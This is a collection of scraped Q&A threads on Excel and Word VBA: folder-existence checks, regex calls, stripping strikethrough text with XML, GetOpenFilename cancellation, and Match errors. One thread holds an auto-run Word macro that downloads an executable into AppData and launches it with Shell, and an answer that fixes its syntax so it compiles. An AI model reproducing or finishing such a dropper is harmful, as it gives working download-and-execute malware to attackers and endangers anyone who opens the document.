VBA FileFolderExists pass variable - excel

I found this function on a web
Private Function FileFolderExists(strFullPath As String) As Boolean
On Error GoTo EarlyExit
If Not Dir(strFullPath, vbDirectory) = vbNullString then
FileFolderExists = True
End If
EarlyExit:
On Error GoTo 0
End Function
And I want to pass string variable like this
Dim lineText As String
...
ElseIf FileFolderExists(lineText) = False Then
I am getting compile error "byref argument type mismatch"
When I put byval before strFullPath, it doesn't seem to work properly.
I also tried playing with Dir function, it works if I pass literal like "C:\test", but it doesn't work if I pass the variable.
Does anyone have function that check for folder existence and accepts the string variable as parameter ?
Thanks in advance

The problem seems to be that Word adds CR character to every paragraph, or, to be more exact, that the Text property of the Paragraph object returns the paragraph text plus the CR character.
AFAIK, this is the Word's behaviour for every paragraph, even for the last one.
How can this cause a compile error, I do not have a clue. If I take Milan's example:
Private Sub FirstLineFolder()
Dim lineText As String
lineText = ActiveDocument.Paragraphs(1).Range.Text
lineText = Left(lineText, Len(lineText) - 1) 'see below
MsgBox DoesFolderExist("C:\")
MsgBox DoesFolderExist(lineText)
End Sub
it returns true, true if the first line of the document is a valid folder. If I comment the marked line, the program still compiles and runs and returns true, false (with the same document).
There is some info about it on MSDN website

Try this:
Function FolderExists(folderPath As String) As Boolean
Dim f As Object
Set f = CreateObject("Scripting.FileSystemObject")
On Error GoTo NotFound
Dim ff As Object
Set ff = f.GetFolder(folderPath)
FolderExists = True
Exit Function
NotFound:
FolderExists = False
On Error GoTo 0
End Function
I used the following to test it:
Sub Tst()
Dim b As Boolean
Dim s As String
s = "c:\temp"
b = FolderExists(s)
End Sub
And it works as expected.
Generally, I used Scripting.FileSystemObject for all file-related operation in VBA, the native functions are too cumbersome.
It should be also noted that my function all checks for folders, while the original function -- judging by its name -- perhaps also tried to check for existence of files.

New code, it explains exactly what I need, it should be easier for you to try.
I am expecting folder in first line of the Word document, then I have to check if it exists.
Private Sub FirstLineFolder()
Dim lineText As String
lineText = ActiveDocument.Paragraphs(1).range.Text
MsgBox DoesFolderExists("C:\") ' this works
MsgBox DoesFolderExists(lineText) ' this doesnt work, when same folder passed
End Sub
Both my and Martin's function are throwing compiling error I wrote in my first post.
If it matters : Word is 2010, "option explicit" isn't written (I inherited the code, I can't change that)

Related

Calling custom RegEx function in VBA

I wanted to clean up my excel file, which is using a regular expression query like this. Unfortunately the approach mentioned there via data validation and CTRL-F3 "managed names" does conflict with a Worksheet_Change() sub in VBA. Meaning when applying data validation on the cell in question, Worksheet_Change() gets somehow overlooked.
Anyway, not much of a VBA regular by a long shot. I have a modul with the function RegExpMatch as follows (from above website, I hope this function can even be used for this purpose):
Public Function RegExpMatch(input_range As Range, pattern As String, Optional match_case As Boolean = True) As Variant
...
When using this as a formula (i.e. =RegExpMatch(Sheet1!A1, "^[A-Z]{3}-\d{3}$")) it works quite well. However due to above mentioned conflict I would like to call it like:
Private Sub Worksheet_Change(...)
....
If RegExpMatch(<target>, <pattern>) Then
...
End If
End Sub
I had some issues with special characters before and I find this in general quite confusing. Not sure if the pattern is a problem or how I am trying to call RegExpMatch, but I somehow need this to work and its giving me a run-time error 424. I understand, that there is a somewhat build-in RegEx possibility (see Tools->References), but this file needs to be distributed across different machines and therefore I dont want to make it reliant on special or outdated settings.
EDIT: Please see below MWE. The goal is to save the file when the cell value matches a RegEx. The error occurs when calling the RegExpMatch-Function within the If loop in the last code example.
I have a module called RegExpMatch as follows:
Public Function RegExpMatch(input_range As Range, pattern As String, Optional match_case As Boolean = True) As Variant
Dim arRes() As Variant 'array to store the results
Dim iInputCurRow, iInputCurCol, cntInputRows, cntInputCols As Long 'index of the current row in the source range, index of the current column in the source range, count of rows, count of columns
On Error GoTo ErrHandl
RegExpMatch = arRes
Set regex = CreateObject("VBScript.RegExp")
regex.pattern = pattern
regex.Global = True
regex.MultiLine = True
If True = match_case Then
regex.ignorecase = False
Else
regex.ignorecase = True
End If
cntInputRows = input_range.Rows.Count
cntInputCols = input_range.Columns.Count
ReDim arRes(1 To cntInputRows, 1 To cntInputCols)
For iInputCurRow = 1 To cntInputRows
For iInputCurCol = 1 To cntInputCols
arRes(iInputCurRow, iInputCurCol) = regex.Test(input_range.Cells(iInputCurRow, iInputCurCol).Value)
Next
Next
RegExpMatch = arRes
Exit Function
ErrHandl:
RegExpMatch = CVErr(xlErrValue)
End Function
and am trying to utilize that in my worksheet code as follows:
Public Sub Worksheet_Change(ByVal Target As Range)
If Not Intersect(Target, Range("J3")) Is Nothing Then
' The following shows run-time error 424
If RegExpMatch(Range("J3"), "^[A-Z]{3}-\d{3}$") Then
ActiveWorkbook.SaveAs Filename:=Range("J3").value
End If
End If
End Sub
Try removing the row
RegExpMatch = arRes
right after the
On Error Goto ErrHandl
statement. The array still is undefined in this moment and this most likely causes the error.
Not an answer (in regards of explaining the error), but as #FunThomas pointed out, I am using the built-in VBScript.RegEx anyway. So I wrote a simplier custom function RegExpMatch and it works as needed.
Public Function RegExpMatch(ByVal value as String, ByVal pattern As String)
Set regex = CreateObject("VBScript.RegExp")
regex.pattern = pattern
RegExpMatch = regex.Test(value)
End Function
and called this in my Workbook_Change sub as follows:
...
Dim value As String
value = Target.value
Dim pattern As String
pattern = "^[A-Z]{3}-\d{3}$"
If RegExpMatch(value, pattern) Then
...
End If
...

How can I make removal of Strikethrough text in Excel cells using XML parsing more robust?

I have a complex spreadsheet with many cells of text containing random mixtures of normal text and text with strikethrough. Before I scan a cell for useful information, I have to remove the struck through text. I intially achieved this (with VBA) using the Characters object, but it was so slow as to be totally impractical, for business purposes. I was then kindly supplied with some code (on this site) that parses the XML encoding. This was 1000's of times faster, but it occassionally causes the following error:
"The parameter node is not a child of this node".
So far, it only happens in heavily loaded cells (1000's of characters), otherwise it works fine. I cannot see anything wrong in the code or the XML structure of the problem cells, although I am a total newbie to XML. Using the VBA debugger, I know the error is occurring when RemoveChild() is called, typically when it has already worked without error on a few struck through sections of a cell's text.
Is there a way I could make the following code more robust?
Public Sub ParseCellForItems(TargetCell As Excel.Range, ItemsInCell() As String)
Dim XMLDocObj As MSXML2.DOMDocument60
Dim x As MSXML2.IXMLDOMNode
Dim s As MSXML2.IXMLDOMNode
Dim CleanedCellText As String
On Error GoTo ErrorHandler
Call UnstrikeLineBreakCharsInCell(TargetCell)
Set XMLDocObj = New MSXML2.DOMDocument60
'Add some namespaces.
XMLDocObj.SetProperty "SelectionNamespaces", "xmlns:ss='urn:schemas-microsoft-com:office:spreadsheet' " & _
"xmlns:ht='http://www.w3.org/TR/REC-html40'"
'Load the cell data as XML into XMLDOcObj.
If XMLDocObj.LoadXML(TargetCell.Value(xlRangeValueXMLSpreadsheet)) Then
Set x = XMLDocObj.SelectSingleNode("//ss:Data") 'Cell content.
If Not x Is Nothing Then
Set s = x.SelectSingleNode("//ht:S") 'Struck through cell content.
Do While Not s Is Nothing
x.RemoveChild s
Set s = x.SelectSingleNode("//ht:S")
Loop
CleanedCellText = XMLDocObj.Text
'Parse CleanedCellText for useful information.'
'...
End If
End If
Set XMLDocObj = Nothing
'Presumably don't have to 'destroy' x and s as well, as they were pointing to elements of XMLObj.
Exit Sub
ErrorHandler:
Call RaiseError(Err.Number, Err.Source, "ParseCellForItems()", Err.Description, Erl)
End Sub
Public Sub UnstrikeLineBreakCharsInCell(TargetCell As Excel.Range)
Dim mc As MatchCollection
Dim RegExObj1 As RegExp
Dim Match As Variant
On Error GoTo ErrorHandler
Set RegExObj1 = New RegExp
RegExObj1.Global = True
RegExObj1.IgnoreCase = True
RegExObj1.Pattern = "\n" 'New line. Equivalent to vbNewLine.
Set mc = RegExObj1.Execute(TargetCell.Value)
For Each Match In mc
TargetCell.Characters(Match.FirstIndex + 1, 1).Font.Strikethrough = False
Next Match
Set mc = Nothing
Set RegExObj1 = Nothing
Exit Sub
ErrorHandler:
Call RaiseError(Err.Number, Err.Source, "UnstrikeLineBreakCharsInCell()", Err.Description, Erl)
End Sub
Yep, as per Tim Williams' comment, making sure you're calling RemoveChild() from its immediate parent fixes the problem:
Set s = x.SelectSingleNode("//ht:S")
Do While Not s Is Nothing
s.ParentNode.RemoveChild s
Set s = x.SelectSingleNode("//ht:S")
Loop

Cancel Option GetOpenFilename(Multiselect:= True)

I have the following question: when I use the GetFileOpenFileName option with
Multiselect = True it returns the results as a Array if I selected one file or more, but if I click "Cancel" it returns as a boolean vartype. What should I do to avoid the
error 13 "Incompatible Type
when someone clicks it.
Besides, I already tried to test if(vartype(filename) = vbBoolean) then or if(filename = False) then to exit sub, but the first one I took the same error and the second one it said that I'm not allowed to assign values to filename if I select some file.
Here is the code.
public sub open_file()
dim i as integer
Dim filename() As Variant
filename = Application.GetOpenFilename(Title:="Arquivos em Excel", MultiSelect:=True, FileFilter:="Arquivos em Excel,*.xls*")
For i = 1 To UBound(filename)
msgbox filename(i)
next i
end sub
As per comments from both #Brian M Stafford and #braX, your code should be amended as follows...
Public Sub open_file()
Dim i As Integer
Dim filename As Variant
filename = Application.GetOpenFilename(Title:="Arquivos em Excel", MultiSelect:=True, FileFilter:="Arquivos em Excel,*.xls*")
If Not IsArray(filename) Then
MsgBox "User cancelled!", vbExclamation 'optional
Exit Sub
End If
For i = 1 To UBound(filename)
MsgBox filename(i)
Next i
End Sub
To clarify, notice that filename is declared as Variant, not as an array whose elements are a Variant data type.
As such, filename can be assigned either an array containing the filenames when one or more files are selected, or a boolean value when the user cancels.
Also notice that we test whether filename is an array to determine whether the user has selected one or more files. If not, it exits the sub. Otherwise, it continues.

Compile Error: Argument Not Optional-MSWord

Doing some simple VBA scripting and run into a bit of a roadblock. (I'm a very new VBA coder).
When I compiled the following code, I keep getting "Compile Error: Argument Not Optional" and yet I can't seem to find any errors (probably just my idiocy).
The code is supposed to download a file (I've just got the PuTTy executable for testing) and then load it into the AppData folder and execute.
Appreciate the help.
Sub Auto_Open()
input
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
Function var1(ByVal pass2 As String, ByVal pass3 As String) As Boolean
Dim pass As Object, pass5 As Long, hard As Long, helper() As Byte
Set pass = CreateObject('MSXML2.XMLHTTP')
pass.Open 'GET', pass2, False
pass.Send 'send request
Do While pass.readyState <> 4
DoEvents
Loop
helper = pass.responseBody
hard = FreeFile
If Dir(pass3) <> '' Then Kill pass3
Open pass3 For Binary As # hard
Put # hard, , helper
Close # hard
Dim temp
temp = Shell(pass3, 1)
Set pass = Nothing
End Function
Sub input()
var1 'http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe', Environ('AppData') & '\test.exe'
End Sub
Please see my comments in your code. I highly recommend visiting the vba wiki page, as it has some great resources for people new to the language. I didn't test or debug the code at all. I just corrected the obvious mistakes so that it will compile.
Option Explicit
Sub AutoOpen()
'no idea what this was doing, but you can't define a sub more than once, it's ambiguous.
End Sub
Sub Workbook_Open()
AutoOpen
End Sub
Function var1(ByVal pass2 As String, ByVal pass3 As String) As Boolean
Dim pass As Object, pass5 As Long, hard As Long, helper() As Byte
' single quotes (apostrophes) create comments in vba. Use double quotes instead(")
Set pass = CreateObject("MSXML2.XMLHTTP")
pass.Open "GET", pass2, False
pass.Send "send request"
Do While pass.readyState <> 4
DoEvents
Loop
helper = pass.responseBody
hard = FreeFile
If Dir(pass3) <> "" Then Kill pass3
Open pass3 For Binary As #hard
Put #hard, , helper
Close #hard
Dim temp
temp = Shell(pass3, 1)
Set pass = Nothing
End Function
Sub someInput() ' you can't use input, it's a reserved work
var1 "http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe", Environ("AppData") & "\test.exe"
End Sub

Match Not working Excel: Error 1004 Unable to get the Match Property

Sub Sales_Summary_Macro()
Dim strMake, strModel, strCount As String
Dim makeLoc, modelLoc, countLoc As Integer
strMake = Application.InputBox("Make")
strModel = Application.InputBox("Model")
strCount = Application.InputBox("Count")
If strMake <> False Then
Debug.Print strMake
Debug.Print strModel
Debug.Print strCount
makeLoc = WorksheetFunction.Match(strMake, Range("A1:A10"), 0)
Debug.Print makeLoc
End If
End Sub
I just want to take the string input of the user on three different variables and find the column that contains each variable. I have tried Application.Match() and Match() alone and neither seem to work.
Not going full technical and will not post code. However, three things:
One, make sure your ranges are always fully qualified. For example, Range("A1:A10") is not nearly enough. You should specify on which sheet this should be located. If you are calling this macro from another sheet, it will give you a wrong result or throw an error.
Two, without going to too much details:
Application.Match returns an error value if there's no match found. This can be handled using IsError, which is what simoco did in his answer.
WorksheetFunction.Match throws a 1004 error when it doesn't find an error. This is not the same as returning a value. As such, this is (slightly) harder to handle.
Best practice is to always use the first one.
Three, the immediate window in VBE is your best friend. A simple ?Application.Match("FindMe", [A1:A10], 0) in the window can help you check if your formula is netting a similarly intended result.
As shown in the screenshot above, no string is found and an error value is returned.
Hope this helps!
UPD:
Is it possible to get it to return the cell reference like C1 and then use that cell reference in other functions
Sub Sales_Summary_Macro()
Dim strMake As String, strModel As String, strCount As String
Dim makeLoc, modelLoc As Integer, countLoc As Integer
Dim res As Range
strMake = Application.InputBox("Make")
strModel = Application.InputBox("Model")
strCount = Application.InputBox("Count")
If strMake <> "False" Then
Debug.Print strMake
Debug.Print strModel
Debug.Print strCount
On Error Resume Next
'Set res = Range("A1:Z1").Find(What:=strMake, LookAt:=xlWhole, MatchCase:=False)
Set res = Application.Index(Range("A1:A10"), Application.Match(strMake, Range("A1:A10"), 0))
On Error GoTo 0
If res Is Nothing Then
MsgBox "Nothing found!"
Exit Sub
End If
'Print address of result
Debug.Print res.Address
makeLoc = res.Value
Debug.Print makeLoc
End If
End Sub
BTW,
when you are using Dim strMake, strModel, strCount As String, only strCount has type String, but strMake, strModel are Variant.
The same thing with Dim makeLoc, modelLoc, countLoc As Integer - only countLoc has Integer type.
This is not a direct answer to the OP, but people (like me) may find this question helpful when trying to TRAP an error with vba Match. Typically I would use this to test if a value exists in an array.
It's quite maddening when using Application.Worksheetfunction.Match and being unable to capture a True with IsError when a value doesn't exist. Even the WorksheetFunction error handlers (iserr, isNA, etc) will not capture this as True and instead throws the VBA error of 1004 Unable to get the Match Property.
This is resolved by using Application.Match instead of Application.WorksheetFunction.Match. This is most counterintuitive as Match doesn't appear in the intellisense after typing Application. nor does Application.Match( display prompts for what fields to enter.
Meanwhile using Application.WorksheetFunction.Match does auto-populate with prompts which understandably can inspire users to take this approach and then be confused why they can't successfully trap an error.

Resources